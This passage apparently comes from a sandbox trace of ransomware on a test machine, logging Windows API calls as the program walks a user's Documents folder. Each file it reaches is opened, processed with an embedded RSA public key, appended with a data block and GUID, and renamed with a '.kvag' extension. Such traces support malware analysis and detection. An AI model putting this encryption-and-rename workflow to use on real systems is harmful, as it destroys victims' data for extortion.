halpmcxz\\desktop\\yfpkkpbbwpzmakq.jpg.kvag")) returned 1 [0119.176] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f60610, ftCreationTime.dwHighDateTime=0x1d4c722, ftLastAccessTime.dwLowDateTime=0x6adcaeb0, ftLastAccessTime.dwHighDateTime=0x1d4d440, ftLastWriteTime.dwLowDateTime=0x6adcaeb0, ftLastWriteTime.dwHighDateTime=0x1d4d440, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yFpkKpBBWpZMakq.jpg", cAlternateFileName="YFPKKP~1.JPG")) returned 0 [0119.177] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.177] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.177] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.177] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.177] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.177] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.177] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.177] PathFindFileNameW (pszPath="") returned="" [0119.177] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77267d70, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77267d70, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.177] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77267d70, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77267d70, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.177] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb7b710, ftCreationTime.dwHighDateTime=0x1d4ccf7, ftLastAccessTime.dwLowDateTime=0x96d1ae80, ftLastAccessTime.dwHighDateTime=0x1d4c914, ftLastWriteTime.dwLowDateTime=0x96d1ae80, ftLastWriteTime.dwHighDateTime=0x1d4c914, nFileSizeHigh=0x0, nFileSizeLow=0x11a83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="07oX6.docx", cAlternateFileName="07OX6~1.DOC")) returned 1 [0119.177] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\07oX6.docx") returned=".docx" [0119.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\07oX6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\07ox6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.179] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=72323) returned 1 [0119.179] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.180] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11a5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.180] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.182] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11a83, lpOverlapped=0x0) returned 1 [0119.183] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.183] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.183] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.183] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.184] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.184] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.184] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.184] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.184] GetLastError () returned 0x0 [0119.184] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.184] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.184] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.184] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.184] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.184] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.185] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11a83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.185] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.185] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.185] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.185] CloseHandle (hObject=0x61c) returned 1 [0119.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\07oX6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\07ox6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\07oX6.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\07ox6.docx.kvag")) returned 1 [0119.187] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa075a810, ftCreationTime.dwHighDateTime=0x1d4c55e, ftLastAccessTime.dwLowDateTime=0x5c1995a0, ftLastAccessTime.dwHighDateTime=0x1d4d544, ftLastWriteTime.dwLowDateTime=0x5c1995a0, ftLastWriteTime.dwHighDateTime=0x1d4d544, nFileSizeHigh=0x0, nFileSizeLow=0x7bbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0qm3q9iPSe2R.ppt", cAlternateFileName="0QM3Q9~1.PPT")) returned 1 [0119.187] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0qm3q9iPSe2R.ppt") returned=".ppt" [0119.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0qm3q9iPSe2R.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0qm3q9ipse2r.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.188] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31677) returned 1 [0119.188] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.190] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.190] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.192] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7bbd, lpOverlapped=0x0) returned 1 [0119.193] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.193] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.193] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.193] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.194] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.194] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.194] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.194] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.194] GetLastError () returned 0x0 [0119.194] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.194] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.194] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.194] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.194] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.194] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.194] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7bbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.195] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.195] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.195] CloseHandle (hObject=0x61c) returned 1 [0119.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0qm3q9iPSe2R.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0qm3q9ipse2r.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0qm3q9iPSe2R.ppt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0qm3q9ipse2r.ppt.kvag")) returned 1 [0119.197] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30ed340, ftCreationTime.dwHighDateTime=0x1d4c604, ftLastAccessTime.dwLowDateTime=0x93fcae90, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0x93fcae90, ftLastWriteTime.dwHighDateTime=0x1d4c73d, nFileSizeHigh=0x0, nFileSizeLow=0xd8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2o28EiG.odp", cAlternateFileName="")) returned 1 [0119.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2o28EiG.odp") returned=".odp" [0119.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2o28EiG.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2o28eig.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.197] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=3468) returned 1 [0119.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.199] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.200] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.201] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd8c, lpOverlapped=0x0) returned 1 [0119.201] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.201] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.201] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.201] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.202] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.202] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.202] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.202] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.202] GetLastError () returned 0x0 [0119.202] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.202] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.202] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.202] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.202] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.202] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.203] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.203] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.203] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.203] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.203] CloseHandle (hObject=0x61c) returned 1 [0119.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2o28EiG.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2o28eig.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2o28EiG.odp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2o28eig.odp.kvag")) returned 1 [0119.205] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ce5210, ftCreationTime.dwHighDateTime=0x1d5649a, ftLastAccessTime.dwLowDateTime=0xf2c85790, ftLastAccessTime.dwHighDateTime=0x1d500ee, ftLastWriteTime.dwLowDateTime=0xf2c85790, ftLastWriteTime.dwHighDateTime=0x1d500ee, nFileSizeHigh=0x0, nFileSizeLow=0x1213e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4uLO0.docx", cAlternateFileName="4ULO0~1.DOC")) returned 1 [0119.205] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4uLO0.docx") returned=".docx" [0119.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4uLO0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4ulo0.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.205] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=74046) returned 1 [0119.205] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.207] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.207] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.209] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1213e, lpOverlapped=0x0) returned 1 [0119.209] 